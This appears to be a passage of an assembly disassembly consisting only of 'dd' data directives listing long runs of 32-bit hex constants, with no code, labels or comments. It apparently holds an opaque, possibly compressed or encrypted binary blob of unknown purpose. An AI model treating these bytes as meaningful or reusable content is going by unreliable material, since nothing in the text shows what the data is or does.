dd 0ABD90FADh, 3E96CCB1h, 2123E4h, 2BA0F7A6h, 9318B25Bh
dd 3448CC56h, 52048651h
dd 0FE7FE3Fh, 103908CEh, 0A0253F81h, 60E50615h, 0F88EF38h
dd 23EB002Dh, 0A235A352h, 6E0041D3h, 89CC038Dh, 1C7D6F3Dh
dd 164F672h, 0E036D64Eh, 80F44411h, 23708F9h, 0E1448F0Ah
dd 1F00D9BDh, 503144Dh, 0A0CCF41Dh, 7C1680h, 13BB44Fh
dd 6DA570D9h, 6913CD00h, 0D8E2EC44h, 143A00D7h, 3E8EE39Fh
dd 3000BFB5h, 175E42C4h, 0AF579FFh, 5948B9ABh, 0D9740097h
dd 5890112Ch, 0ED0069E2h, 1FFB0C20h, 0A0F69Dh, 4CCC717Bh
dd 9F3AF1C3h, 9709AD00h, 4058EEBDh, 18190042h, 228A7970h
dd 0B500D617h, 1A145EE5h, 7E3A85A0h, 41C013E0h, 4B6F00BBh
dd 9E6A696h, 87C6D400h, 5328326h, 78BEC40h, 81180157h
dd 0E3893047h, 8860C749h, 61C4F641h, 1D70003Ah, 25DAA18Bh
dd 0DF61A593h, 173FB381h, 7F78CCh, 8D06B0A6h, 0CFA5E652h
dd 0CDFEE100h, 0EA7C2BF2h, 3AF003C3h, 94D5C631h, 0F50518F8h
dd 624C8B71h, 0F2C80051h, 8E6912DDh, 3A87F8DEh, 0F7B06CC3h
dd 64EA7D40h, 0C1917B00h, 9F66865Ah, 0EE5500C4h, 0D8986367h
dd 5FE6E3CEh, 0C3DA000h, 3EBC619Ch, 0F1761C9Ah, 80668F72h
dd 91E64F20h, 180063A9h, 0DFFCB7FFh, 0A01C029h, 8CEF7EFEh
dd 16DE00E0h, 0BB58756Dh, 0F46FDF00h, 77A84D0Fh, 62A0002Bh
dd 0C1B89F86h, 0AA016AFFh, 0FA0E98CEh, 20179Dh, 0D1ED0097h
dd 4741013Dh, 0C0C0162Ah, 0BF8770Ah, 0DD38051Eh, 0C0FF24C6h
dd 9D668F6Bh, 0F081D800h, 96C1DC42h, 0C09E545Fh, 0FD1C01B6h
dd 8992FB75h, 0DA2020BDh, 8C5C1D1Dh, 0E5A58500h, 72B028Fh
dd 0BA281C58h, 7FDFE738h, 0D641FA40h, 30010BF2h, 0F903A0C6h
dd 13616544h, 79028089h, 2BABF600h, 4B00619Bh, 76460B5Ch
dd 5D0A13h, 8909AB8h, 3E41E680h, 100A098h, 718F6B5Eh, 1F2492C9h
dd 478DF27h, 0C00C419Ch, 0E6DEE0DAh, 0E2BB081Ch, 8083E7C0h
dd 0DD30C2CEh, 3B007B40h, 31073C78h, 130F618Eh, 944B55h
dd 0F6209CE8h, 97DE0095h, 0F8C07C6Ch, 66121BD6h, 80010A75h
dd 0F4303C48h, 43AD2030h, 3F570750h, 0C418E7FDh, 0EF1340D8h
dd 3F5DBA3Fh, 0D00006C1h, 33E3A020h, 0E613DC3Dh, 0AC0814CCh
dd 81FAC060h, 0C0461151h, 4400EE22h, 648581E3h, 7ADE3Fh
dd 7084D929h, 8EE4E983h, 82384B05h, 2C2B7BA6h, 36017423h
dd 0B5822F63h, 0C94C64h, 0B28EB913h, 5D414901h, 0A87AC007h
dd 15F0AD07h, 1E3AA77h, 0E04884BCh, 2CDC8D70h, 74070090h
dd 5BB6B794h, 11A5091Eh, 0A4C0301Ah, 7F090343h, 0C0D4571Dh
dd 0F8108D8h, 2A8D11E8h, 8025D686h, 0F13DAB81h, 0D48C3103h
dd 0A30148ADh, 3775CAB1h, 61CC41E1h, 0EA20C084h, 0AFF435C4h
dd 11204EE1h, 0DD824B0Ah, 0B4C1DC31h, 86918F5h, 763236E5h
dd 121BDC6h, 0F6E511F7h, 0E393B9D0h, 272CEFF8h, 0AA875512h
dd 0C10464D3h, 0F06F3A5Ah, 1D00E24Dh, 0C0E18CD9h, 0A223F847h
dd 55B41890h, 12703D68h, 0A53BB80h, 0DA258F8Dh, 0C5BA1900h
dd 0D63DAA9Dh, 4D8A0099h, 159BD42Fh, 489C3945h, 74737085h
dd 0BA9E5C93h, 99DD6031h, 2F9B301Ah, 944FB8B9h, 0A00CE61Fh
dd 0D73064C7h, 0B5532AF0h, 39920054h, 28AB80FAh, 2F1DA4D1h
dd 0DF001A8Ch, 9B1B5D19h, 49356530h, 145C0087h, 5FBFA5C0h
dd 0EB0B1A01h, 0F1D273E5h, 0BD58FCh, 39AF46A7h, 72481287h
dd 7FA7F16h, 0ECDB6A00h, 170B279Eh, 23E28C5Ah, 30EF9BBCh
dd 0FE688E9Dh, 0E90BA9B0h, 90BA538Bh, 40A90518h, 666F51CBh
dd 0F0858391h, 0DD1FF887h, 0C5777FDh, 0A384AC15h, 0BC3C2539h
dd 14620747h, 1B40FC70h, 7AD939h, 633C9DDEh, 71CD5C64h
dd 0FF2D5373h, 11330075h, 3045AB0h, 67341EF9h, 15D8D34Fh
dd 5800617Dh, 7B77BB8Bh, 75232556h, 184279C6h, 38833CD1h
dd 0A77AF6CFh, 0D908176Eh, 83E80621h, 0D27000D8h, 4DDCC2Dh
dd 7E02F409h, 0DAE85010h, 0F1BB616Eh, 850C308Fh, 30B031A3h
dd 299094D8h, 0DF090700h, 8D42567Dh, 2A0A11F1h, 0C9B1EA6h
dd 31F41A81h, 0FEDF1672h, 21F06108h, 0D48D3566h, 7E00900Dh
dd 926573EAh, 0F662C702h, 0F75730CDh, 49439A90h, 6EF1B0C1h
dd 4180BAC0h, 25D488ACh, 706FD685h, 74298421h, 0D8008C5Ah
dd 3C5BF832h, 8490F006h, 3308778h, 0C2F6089h, 64E077C5h
dd 18C0E015h, 4E36BBB4h, 0A251C043h, 893C84B3h, 52258303h
dd 0A32666C1h, 0D5210057h, 55DD854Bh, 53301F23h, 989B195Ch
dd 266100CAh, 0DBA2ADD3h, 3500C3FAh, 739FDD64h, 67C5305h
dd 3B08FF56h, 3CC0886Eh, 2826172Ah, 0E7DF5CCCh, 0B3912E00h
dd 96D1AECBh, 7A783100h, 73205561h, 0C9B60FDCh, 760F722h
dd 0A7906C76h, 8770300h, 14066321h, 0E8D8032Dh, 4530553Dh
dd 8ABF6798h, 77C3D500h, 4073A7F5h, 32700025h, 7F62E3ECh
dd 5500FB9Bh, 0D6BE503Ah, 2CAAE60Dh, 1771584Bh, 0D118FF35h
dd 3EEDB920h, 0D2003FC8h, 43232DEEh, 12007A62h, 5E870ECCh
dd 0E75FC6h, 9295C58Ch, 132EB6Ch, 0E61E5303h, 0E4C6CB9Ch
dd 332D80EEh, 46603E21h, 0A43DB158h, 0CC23005Ah, 5C34DDC5h
dd 0B00254Ah, 95810E5Bh, 0C2B7C13h, 9D5AA643h, 3961AA48h
dd 714787E1h, 0DC0048BCh, 0AF1194EEh, 2860214Bh, 0DE7E8F61h
dd 323B02B3h, 0A624EBA2h, 9AC203E2h, 0FAA30F80h, 400099Bh
dd 85376462h, 353B543h, 0E9550EC7h, 0B7B81E4Ch, 670E465Ch
dd 414D45C4h, 24C39736h, 0AA044Bh, 0FDF8C263h, 0C0F242FCh
dd 6C620C18h, 3C008DCFh, 358BBC6Bh, 0E3642Fh, 0CBFCBA5Eh
dd 6DC388D1h, 2906F531h, 2EAA127h, 0B02F9E70h, 48018084h
dd 9FD64213h, 28482325h, 840F9044h, 0A748EB79h, 2EB3F480h
dd 0E529D5h, 199B1785h, 0D1F32AB5h, 0F660EC27h, 592C00FEh
dd 83F81DF1h, 0CFD08F00h, 0E73328BDh, 0B87C3CBEh, 819FD300h
dd 0F8070F19h, 0C4A39000h, 526C49E1h, 0E004256Dh, 2F008CD4h
dd 4C1EB1ACh, 0CE16007Fh, 0FA0BA37Dh, 0BF26C956h, 910244F8h
dd 0C0F69454h, 0F39802h, 35463A10h, 279B44ACh, 1C1B91Eh
dd 167E1A00h, 727ABDh, 22AB8468h, 0D83D5A71h, 0F4E7903h
dd 90C0B60Ch, 0B64D3A5h, 0B440050Eh, 404C1F05h, 4530CDCh
dd 2207B884h, 0A3F126DEh, 2A157E30h, 5E6F0346h, 0A07BC98Ch
dd 0CB3C8003h, 91B25BDDh, 0C8FDD0A9h, 9A4800F3h, 7041745Dh
dd 0A023F30h, 8880A3D5h, 58760D8h, 29AE0114h, 0DA41710Bh
dd 0ECEFF117h, 0D401E42Fh, 5B6E7032h, 0F9F4A493h, 0AD1B1F5Fh
dd 0D164D1h, 0A3701FC4h, 403EF83h, 8D08F438h, 0BAA00010h
dd 0BDF8C581h, 950C96B1h, 7EC64DE4h, 0CE8A0048h, 11401956h
dd 3000C133h, 4999A865h, 0F0ECF85Eh, 0D2FA0094h, 20F4CFCh
dd 0A80048A3h, 0CC6F498Ah, 79BB4E87h, 0D901007Fh, 6B0EF49Dh
dd 5006220h, 0B987E21Ch, 0A0BAEBB7h, 377BF80h, 0C27F9BE8h
dd 63E82C9Dh, 0A50F855Eh, 40C7FC38h, 1BEC5D02h, 0BCAE007Eh
dd 9642934Fh, 47E2B873h, 41868300h, 0B2924D80h, 66B002Bh
dd 57F6A413h, 180F19A3h, 497D8FA9h, 0C510095h, 19C9DDCh
dd 3A842BC1h, 602AF880h, 0B30A5976h, 907B5AC6h, 3C000F17h
dd 6A80BD36h, 0DE6800F9h, 0C6CEBB6Fh, 3E061DBAh, 0C5310812h
dd 42240CFEh, 234063F5h, 48184F3Eh, 0B81A3AECh, 640BF9B6h
dd 75BEE04Ah, 74AC1900h, 0C9007004h, 6E0F7351h, 4C56851Bh
dd 0D83DE05Fh, 9559AD80h, 79A8D9E8h, 17DD9C00h, 8EF336C9h
dd 75724ACh
dd 9B2E0008h, 0D499D9EDh, 5DE8CC00h, 0A1C240E0h, 0C8136145h
dd 0DB52771Ah, 2F6C75D0h, 0E0E11028h, 0AD036D07h, 0BF7026EEh
dd 663AFAh, 405D0814h, 0EBCE0441h, 3200F8E8h, 24BF6BE3h
dd 9285B8h, 45C75AFCh, 0ACE9B659h, 5CE8DC6Fh, 0F45C6903h
dd 0AD10E8AAh, 4E130015h, 1255BD62h, 4001166h, 30DBCCF5h
dd 54379Ch, 0EB60505Ah, 53789133h, 1A645B0Eh, 98842099h
dd 0E2747Bh, 72B23051h, 0A959C1C0h, 0CAE86500h, 0FD99B32Ah
dd 38E1F603h, 27852409h, 837E705Bh, 0CE8025ACh, 400863Dh
dd 0C4B122CAh, 3A64A621h, 0BD813B93h, 5E7ECF14h, 0ABE0FA74h
dd 0F300DA73h, 0B97CB0E5h, 0B84EAC31h, 69E600E7h, 3A34F214h
dd 0BB01769Fh, 0B97F48F8h, 90F3D15Bh, 0F2F5371h, 69F7B0Dh
dd 0C0601D33h, 0CD5815B1h, 0A50030DAh, 0C4201146h, 904CB8h
dd 357CA240h, 446FCB0Bh, 42F2CD00h, 0A5600484h, 85F70092h
dd 0E7FB4641h, 0A2E4C253h, 4E9D2D01h, 0F919E23Ch, 43A3E8EFh
dd 37090042h, 0E41DB57Bh, 0A05E1BFh, 3614120Eh, 2840E5C0h
dd 0F9E0069h, 0CFF45FA6h, 9D07E171h, 0A4626319h, 0E3A000CEh
dd 1C3AB9Ch, 20E6B9AFh, 0F88DCDFCh, 2C00CFB3h, 74DADBD7h
dd 0C8AE18h, 0F901D3FBh, 27EBC4E5h, 0C001E872h, 868FCF91h
dd 66E8DF74h, 0A2A90587h, 0C2D842h, 51E9DC88h, 7C077FB7h
dd 2FAC91FFh, 432227DFh, 421F3900h, 0B569000Fh, 476455E3h
dd 1A00D80Ah, 0A8F62B26h, 3BDC67h, 0AC7D826Ch, 0DBB3A0B6h
dd 6E013C90h, 78255B70h, 61D40A17h, 90389241h, 4AF600ECh
dd 33C94BA5h, 8CC00F27h, 1C64B657h, 3D2F1E8Fh, 50B70034h
dd 6175ECF6h, 1B31DD12h, 560C3C00h, 76EED1Dh, 0D06F1F0h
dd 504640DEh, 8E1CD0ABh, 93933BF7h, 67355440h, 3F0D596Dh
dd 39072615h, 0A7341769h, 9CE471E3h, 71188014h, 1E1A0191h
dd 5581186Bh, 0FF0594E7h, 0E3034400h, 7C7A1DDCh, 9F02013Dh
dd 23A486C2h, 0CF89C80Dh, 0FD00E47Ah, 0A5ACA808h, 213C56Eh
dd 0D0AE8FCBh, 28C86336h, 34000412h, 83A80F1Ah, 4BC0192h
dd 64DE3A09h, 5728C3E2h, 4FBB48B8h, 0E40855E4h, 4065BD7h
dd 0C0C324E8h, 7E4D0B30h, 3F614B16h, 0D075C500h, 33D018Bh
dd 0D341995h, 0CAA3990Fh, 1BB3B7C0h, 0AEA8573Ah, 0EF8268F6h
dd 0E0A280F5h, 0F12E170h, 0A4A02DF4h, 41E2F987h, 0E42F7838h
dd 0DE7CAEB0h, 1DCD001h, 0BBE49727h, 38E7E860h, 0F080B4B5h
dd 0E03E3220h, 4B000E09h, 47B7A6B0h, 0F6BE57Bh, 5BCD22Ah
dd 8DB672A0h, 7F002D7Ah, 0BA3A0B58h, 8F8CB7h, 0EB9A3E52h
dd 2D4F2BFEh, 652CCA00h, 5185DAE4h, 0BF2A0FEFh, 0C1800B1Ah
dd 3532A34Fh, 24CE1000h, 7F435141h, 23FF00EFh, 668D852Fh
dd 2B7C4D08h, 683D5BEEh, 0E8BCB01Dh, 0E6B47AD4h, 5DF0002Fh
dd 9E06B342h, 8F28167Dh, 6C3C8A72h, 6E82809Bh, 0CEC461E6h
dd 0E3280F73h, 0AD408C7Eh, 4D3250FFh, 8912DC3Ah, 1ECA67h
dd 0A9A3EE1Ch, 14BAEBh, 0BDDA59CDh, 0AE06D3F1h, 7177F900h
dd 0AF43BF79h, 0CC8E00B8h, 3856838Ah, 2B485298h, 95F000Ch
dd 0DD01CD17h, 6570B51Dh, 60026E8h, 0A09E056Ah, 162428F8h
dd 0F4CA5Ch, 391B8476h, 0B070170h, 685967Fh, 3DB75680h
dd 0EF7401D3h, 0ACA3EBD9h, 746FE109h, 4C04C2D8h, 0B45B1596h
dd 2B603890h, 9A690078h, 0B528F331h, 761EAFF0h, 0C802A616h
dd 400A130Bh, 0FB3B7F40h, 90EA2EF8h, 91E70F50h, 740E6380h
dd 0D40B20C0h, 5E00A164h, 89C2F4E8h, 4A683833h, 0B9A40486h
dd 4044A0F8h, 1590BA00h, 8E1DCA31h, 0DB9826E6h, 398202Bh
dd 9CF0DD0Dh, 0E7E89495h, 0D53D81ACh, 0A3C4802Fh, 0E19EBFECh
dd 24323C64h, 0F6AD01FFh, 9B52E506h, 0BC1182D9h, 80E18BDCh
dd 0EAF7D6A0h, 5CDAE696h, 0C500F8D0h, 8D54ECE8h, 700F3145h
dd 387F235Eh, 0BD28AA9h, 0ACBFC02Bh, 0A0937D00h, 0BA066959h
dd 0BCF381AEh, 6B78C8h, 0DCD60BEAh, 67155D5Bh, 0F09F4407h
dd 7F1353EBh, 0B074B8h, 0DD7325Ch, 961C8665h, 8EE5Ch, 5E476909h
dd 70158Ch, 4E74A266h, 99E7775Dh, 6707BFF0h, 0C22A9162h
dd 5B5501D0h, 29582428h, 424A3C18h, 1FE13870h, 5259C80h
dd 0EB3AE5A9h, 7893CC57h, 0F770E800h, 5628D2B8h, 0A38F0023h
dd 9AAEC04Ch, 0DF00311Eh, 0F0D86B4Fh, 0A009DB42h, 4DC969F4h
dd 0CA260866h, 98DD019Ch, 0F4B8FA05h, 0CE306335h, 0C59021D8h
dd 316B3DF8h, 50189780h, 0DADEC1BDh, 829CC23Ch, 9978B4A2h
dd 9478E01Bh, 0D2290FF7h, 0F5E0AE71h, 2392ECE6h, 52A63700h
dd 702496B3h, 0DC333CE3h, 7D79ACh, 0A3E67B26h, 990ADD7Ch
dd 0A8FBD61Dh, 0A9C0681Dh, 0AFAD1854h, 0B26F00B1h, 7C0CCE31h
dd 0CBF8478Eh, 33EEE600h, 46828A94h, 4E57166Dh, 0EF12007Dh
dd 8C4408C9h, 6E95FF00h, 0A47739FDh, 72F203C1h, 0BA851343h
dd 0DAD659E8h, 90F43Ch, 2944A4F1h, 0B58266C7h, 0A5008DF8h
dd 86F3D01Ch, 0E246E6h, 28FC4B36h, 0B0D5D93Bh, 93B54D03h
dd 0A3D3EF67h, 4080C4A1h, 5F7C9Ch, 43D73908h, 0C7603337h
dd 9DB3FC38h, 94683C61h, 266F2200h, 68A6FA07h, 0A83F0183h
dd 0C20C419Fh, 0B5C4245Eh, 0C58B8507h, 179001DFh, 3AAE331h
dd 55ADDEEEh, 38B04BBCh, 4002263h, 5CF3B3C1h, 0FA26A592h
dd 273A0053h, 3D8ABFF7h, 34FA5644h, 0A93058E8h, 87A4A81Fh
dd 398931DDh, 0C8EB8A28h, 573EB08Dh, 0C3910FF6h, 0E6FEA0A3h
dd 3F4B378h, 282BE8C6h, 89B1B8B7h, 2EDC62EAh, 8039F00Bh
dd 79E2CB4Fh, 2412D0Eh, 891A8CC1h, 0C2C05F91h, 860151B0h
dd 0FAD6F456h, 7FE0C737h, 1DC7F82h, 3E3D6CC9h, 0E8FBBC22h
dd 3001CF1h, 0EAD94997h, 48C52E9Ah, 70F36Fh, 552A8F61h
dd 3EC099D4h, 37814400h, 30F6B98Ah, 412C01FEh, 9456A622h
dd 684DD443h, 137DE609h, 0DF1801F5h, 81D4A863h, 7E46003Dh
dd 0AD343632h, 23001F62h, 6E2CEFA6h, 173EFA80h, 0AECABEE1h
dd 0F4405D1Fh, 12810E0Dh, 5C8709B5h, 24E0018Fh, 4E014B96h
dd 0B4623949h, 0C1F0D770h, 946A382Bh, 0DAD50A80h, 0F112CBFCh
dd 6051C82Ch, 0F0008312h, 0F745F678h, 27A80034h, 0A3C55DCEh
dd 860199D7h, 8594D140h, 19808479h, 0DCC4EB70h, 0F5007CBBh
dd 0F6A2F036h, 0E0899B77h, 16080027h, 47C51B78h, 0AA004083h
dd 0A4A18A32h, 16301390h, 82C75524h, 1CC4C810h, 9DACE000h
dd 0E4029FAFh, 0DF7E00ABh, 2E7858D3h, 0CC003C79h, 7CD96EB2h
dd 1E3EF96h, 6DF8BA49h, 0E4A5F4D8h, 0CB001439h, 0F90BDE06h
dd 80686Eh, 706A37CEh, 28ECC97Eh, 34EF4F0Ch, 7FD03008h
dd 5BAF24E7h, 3FBF001Ch, 0C41F1298h, 0A2723A00h, 0D8D7D15Dh
dd 817D00A8h, 8AAB96FCh, 3A00BF52h, 0E71D424Fh, 543746h
dd 1B29FBC5h, 56382D5h, 0C6200D00h, 4DCF12A3h, 96BE0055h
dd 0DB6050F6h, 0A6003E38h, 0AB2BF20Dh, 0E454E62Dh, 77FF0362h
dd 589B6FBCh, 49152AE0h, 7A935A00h, 4CC3E670h, 0F978009Ah
dd 0BB3E64E0h, 0E41EA0ADh, 28F0A5EEh, 4AB579h, 9B1B77DFh
dd 1F08648Ah, 0D9ED6500h, 36933467h, 0BAB10052h, 0A52088E4h
dd 0F5049F9Bh, 97E6E274h, 0B4B800B3h, 536C0086h, 977796F4h
dd 9407AD36h, 207AFD91h, 0B4A0E984h, 0BEB9000Ch, 6682D335h
dd 343BC658h, 0F8AD0067h, 1E8D740h, 7A824B7h, 0B66C0044h
dd 0FE255E71h, 0C1E65A14h, 0CE5D0BB4h, 0FD0580E5h, 3085350Bh
dd 213004E0h
dd 42095552h, 0FD34D701h, 0F4B81300h, 0B040892h, 0EA07772Ch
dd 10DA4C92h, 120392C2h, 99E60560h, 0C0A7F2AAh, 14A8D4Ch
dd 4217158h, 246432BDh, 36060344h, 0ACDF2A57h, 2F381628h
dd 5CF4034Bh, 198E01D1h, 60A17200h, 0B820A9BDh, 4D4303A7h
dd 230DCEC6h, 0C4B7CB88h, 29092604h, 54C141E6h, 14FCFFC9h
dd 1FC1265Fh, 0BFCE00EBh, 20F7EBB8h, 0C0883558h, 0B257FBAAh
dd 2818003Fh, 0A8D7EE5Ah, 2300AE09h, 81D9117Bh, 3C949B88h
dd 0AF002FF5h, 0EC1BB7C0h, 5D004C40h, 6153EF8Ch, 976D80Ah
dd 4DDA04E8h, 0F8643400h, 0A2078245h, 132E674Fh, 0E21FBD30h
dd 0C2BA1586h, 0E312A0FFh, 0C6708003h, 0EA247029h, 7902D857h
dd 0C01F98C7h, 3BC3B9A7h, 103DE23Fh, 0BA469F00h, 0B05C947Fh
dd 582BE00h, 575E49ACh, 0A21A00C4h, 0BF6A7D4h, 174FC5CFh
dd 3480EC35h, 0AEFADCh, 59720C18h, 17526A25h, 87030374h
dd 40CE21D4h, 2B67F002h, 0F9E83DAFh, 93E0E500h, 0A97A8294h
dd 0D88ECE03h, 0C8DCDBC1h, 0F4F3056h, 0F492C8C9h, 54C04DCFh
dd 0EA24FDD6h, 6E527E14h, 0DA7103F8h, 908E53FFh, 16C402h
dd 0EF89448h, 85F632F5h, 9B6A090Eh, 0DC9DDE88h, 989E1744h
dd 0F4DDC8C0h, 0EB210025h, 0E27E623Bh, 0E90732DFh, 0A7F3D657h
dd 90C309B3h, 1E93AF0Fh, 80F2E6ECh, 24C7598Fh, 0B60057CBh
dd 0D9A670E5h, 1BF7DEh, 9F442E8Ah, 30A1E3Ah, 8D57F600h
dd 0D7236DA4h, 14AE00CCh, 15A81660h, 6900E29Dh, 9F594C1Eh
dd 25512AA4h, 9CF84EC5h, 0F6A8500Eh, 0AE028001h, 38B5639h
dd 74C734F1h, 0C4F14F75h, 0D003E4A5h, 22BCCA00h, 987D4960h
dd 76537502h, 4E3A07E5h, 0C71C7B2Bh, 0DED0B03Eh, 49B06B9Dh
dd 6E513900h, 0EB3D83F8h, 0F1F20086h, 3F81DB27h, 0FF005A97h
dd 800E38EDh, 61B63Ch, 0C90F56Ah, 0E711A8A6h, 257D2C18h
dd 0D0526861h, 0B003E908h, 0A0C95D9Fh, 0B68AA9A0h, 80E718C7h
dd 0C3B8B9Bh, 0B8108Dh, 40ABE9Fh, 5467477Ah, 5CA2C61Eh
dd 59E5FCCCh, 1E2AF521h, 0A054031Dh, 603FD105h, 87610C25h
dd 1AC2909h, 5CEE470Fh, 0E3628C53h, 540801BDh, 83CB524Fh
dd 0DEE71F70h, 30029D4Ah, 0F81FECFh, 72D5471Dh, 4335C776h
dd 8800FF48h, 19813EF4h, 0A2CC2Bh, 3DDA6C7Eh, 52E40C02h
dd 82962D00h, 5C2B133Ah, 0B4BC001Ch, 0BAF5729Fh, 54002CDFh
dd 5DCA5832h, 11AD62h, 0FCF0C5B0h, 0BF5AABC4h, 9A48AA00h
dd 59619E4Ch, 0F9A0079Ch, 1095BE47h, 0BD4F22ECh, 0C8CFC900h
dd 4E4C7B44h, 8CA50F71h, 96A03770h, 0C2A9FFDEh, 0D02A7336h
dd 63048FD8h, 110086F4h, 0C8AFB094h, 0C93453h, 631DB131h
dd 39A003D4h, 350BB3Eh, 382201CBh, 94AFE759h, 16643ECBh
dd 0CBFFC4Dh, 48598CD8h, 0DF28490Ch, 42D150CAh, 0D67D0669h
dd 0A29B8D3h, 2E40CD2Ah, 0E9A200ACh, 67304CC1h, 6E3A807Eh
dd 917B00CFh, 0A0B68C5Bh, 0F6B9C34Ah, 0C1227CDDh, 0E15A0C54h
dd 65194C47h, 0F8886800h, 67442650h, 707B5361h, 6370D10h
dd 3F853351h, 31FF742Ah, 0E0E82D40h, 6303003Ah, 5C3E0042h
dd 81E4D125h, 0B344D2D6h, 0D43C158Eh, 3E804C54h, 803A6485h
dd 3D2C8103h, 14261330h, 0FAFAA8A8h, 6B069442h, 0A945E888h
dd 7DFD5426h, 42293831h, 0D59D5980h, 3751A7Dh, 0AF59A400h
dd 0DB0FE4CDh, 181400CAh, 1193CF84h, 5F00210Dh, 0F249B06Fh
dd 125D4EA1h, 2B1FC8Ah, 8DE8D618h, 20B9F422h, 41A45C19h
dd 2866E200h, 4AB4B5F2h, 0E37EAFh, 0AC587762h, 5D59C420h
dd 1CE76C28h, 8F1CA300h, 0CE71848Ch, 37A43915h, 3F03DD00h
dd 0CB499CE3h, 32FC282Eh, 5CFAD400h, 0EAA16602h, 0F5C9071Ch
dd 0C0D152A8h, 0DB4F648Ch, 87E6B73Eh, 0DD65A45h, 52D7002Eh
dd 2213751h, 54E6D89h, 0BC1C503h, 407BD9D3h, 0C3B52A8h
dd 0C9AEDD07h, 0E6137FE2h, 0C56788A5h, 359F1C2Ch, 8415022Dh
dd 0C660FB8Bh, 903ABB31h, 21D07569h, 6DE30793h, 8410717Ch
dd 0C17792h, 3857E79Ch, 33257822h, 0CD07F702h, 40202D32h
dd 0FE458417h, 2BE507C7h, 46D1771Eh, 59002142h, 0A2E98478h
dd 634FAFh, 5FC098DFh, 2DAEA851h, 0CACB560Fh, 6003CCBFh
dd 0B9B600F8h, 41094A58h, 3503A487h, 2D8820FBh, 1A8A631h
dd 500E44CDh, 7070B466h, 3B186C2Fh, 0A8213836h, 910E004Dh
dd 0C82188D4h, 6D0C1F68h, 0E92FE694h, 0EE2A0719h, 20B63ED3h
dd 949D4B57h, 187B98A9h, 8F841C01h, 0C81710FBh, 0C07A9DDCh
dd 0F75A01E2h, 2501BD0Dh, 374A3629h, 2FCDAB6h, 0E685015Ch
dd 0E30F46C8h, 30A0402Fh, 0A6058AAh, 2AF334F0h, 5EAF00FCh
dd 0E5B45D6Bh, 0A4076AA1h, 88F592E0h, 63E2F400h, 0C4270015h
dd 138F14B6h, 0C006D79h, 188DE9C5h, 1FE416E5h, 3F4D9138h
dd 5BDF2A83h, 32F862DDh, 0A4000875h, 0B0B986C3h, 0BA392Eh
dd 81858F27h, 0E42C8D51h, 0B43C9A00h, 878C3595h, 9940052h
dd 8E819183h, 0D000AED1h, 0D33D1C15h, 1E080h, 0E87DBBADh
dd 0F23EFAD7h, 66DD530Eh, 8042EE6Ch, 0DBB92BC7h, 78A6F48Ch
dd 44580016h, 76B4BE5Dh, 2B1E6D13h, 193AB13Ah, 1229DF10h
dd 9D44E908h, 0EB22841Fh, 0C63E22E1h, 0E5ABB722h, 0F3441508h
dd 3122847Ah, 388722C8h, 20E20522h, 3E723B06h, 0FA839A00h
dd 6C0345B1h, 849D003Fh, 11BD9BDh, 0C500337Ah, 2D0C6A9Ch
dd 2AFCE4h, 0CC0BBEA6h, 17DEDC25h, 0C842A800h, 0F94014C3h
dd 11F89794h, 9F365400h, 266135F5h, 57600024h, 0EE1DEA08h
dd 1000E86Ah, 80E36B4Bh, 35E82h, 0FC776C02h, 4C05D006h
dd 2744E600h, 3484A3A6h, 49DF0094h, 0B4251BFBh, 0A7D24DDh
dd 0D5693A07h, 0AEE01712h, 0CCDDA65h, 25CB7166h, 8439DF20h
dd 5744817Fh, 0C8EC3914h, 0F819DC53h, 505E7AB1h, 34B9FFFh
dd 0B6D4E283h, 0C0D8DA8Ah, 0CC003742h, 9E8D71D1h, 78FC29AFh
dd 0A8E01D43h, 0C0055C65h, 0AD710B5Eh, 5C3DD372h, 9DC700D2h
dd 0C08FFCEFh, 781800B8h, 0F630CA41h, 0C148CC61h, 10E83090h
dd 225AED11h, 0EA00DE7Ch, 39F485AFh, 0CFC5C2FFh, 0C6886AB0h
dd 0B08AA207h, 0B64598D0h, 2CF10956h, 35800C89h, 0B905FD86h
dd 4A2B1100h, 0C04239C8h, 0E5CE1D76h, 7A1B4031h, 8CC6862Ch
dd 0DB998000h, 70F76A5Bh, 1DED73E1h, 402575EBh, 0C04BD4F3h
dd 1800B57Dh, 0A46133FEh, 3230E0Ah, 5B0D897Ch, 5CC019E7h
dd 2D003E8Ah, 822C166Eh, 7F02FB1h, 616DBB71h, 0FA70A3A9h
dd 79F63180h, 752E2500h, 0E60DD21Ah, 866001D9h, 9BB1A065h
dd 32B4801Bh, 7D50EA02h, 0AB20EDDEh, 7C9700ACh, 30171BA4h
dd 0C600E86Bh, 28AAA178h, 1CBB4DCAh, 5EB8EED2h, 0C0483F82h
dd 73B4B000h, 0ECC2FD07h, 4F985900h, 5A26945Dh, 0EADFC91h
dd 0DDCCC557h, 93B2ED24h, 0CBA85E78h, 1F1CDAF8h, 0C6416E9Dh
dd 717BF9F7h, 1B2AD0h, 2DDE28A3h, 5110BFB5h, 0AF08F00h
dd 6113084Eh, 247100FDh, 0A688B0B8h, 0AD3C7F3Bh, 0DB1F009Fh
dd 60EACDD2h, 5509009h, 0FF549926h, 698C00C0h, 76504CE6h
dd 228B970Eh, 3A52C0DAh, 9DA33Dh, 24BC5B1Ah, 0F2F9FE72h
dd 0E4B58103h, 0B04EFA69h, 50A95289h, 789554h, 0CA0856A4h
dd 9CC2D5AAh, 1EB8C303h, 0A07A6C2Fh, 486FFDB4h, 5A24B140h
dd 42E80089h, 91A57A3h, 7DCFDB00h, 759F3EECh, 129EEECCh
dd 0C1ED76h, 0E96FD104h, 0D500571Dh, 9B857AADh, 3A73308h
dd 0D7436027h, 3FA02473h
dd 0B3070FF6h, 7EE8129Dh, 0B4F40880h, 47AE00A5h, 77718DF1h
dd 0B10607AAh, 397A535Bh, 0DC9A00E8h, 351620EAh, 9C3B55C0h
dd 2E9381D6h, 0C1C2A26Ah, 39A0DC4h, 65EB0F1Eh, 0B980E470h
dd 0D83F48CEh, 0A7980126h, 0B686E7DCh, 0B31CC0h, 5E9C96D5h
dd 830B3492h, 1AD32400h, 8F53C413h, 953E0965h, 83004301h
dd 9892DCECh, 154801BDh, 0E8EFC48Fh, 7C6B93h, 0EBCD3F6Dh
dd 0A579B71Dh, 0D6326300h, 4EDB1E2Dh, 474D00ABh, 5CBD1E3h
dd 5D00B6F2h, 85697FF3h, 5C5811h, 0D5D6A2E2h, 969C0F90h
dd 0BF07BA00h, 0EDCC3A38h, 529F240Ah, 2DCE02E0h, 0A4606887h
dd 1E7BF4A7h, 789B482Dh, 9DF8009Ch, 649EC216h, 2D0152F3h
dd 8ADA7E0Eh, 0D0704480h, 47B900B4h, 0ADC1CAA5h, 0EE2690F5h
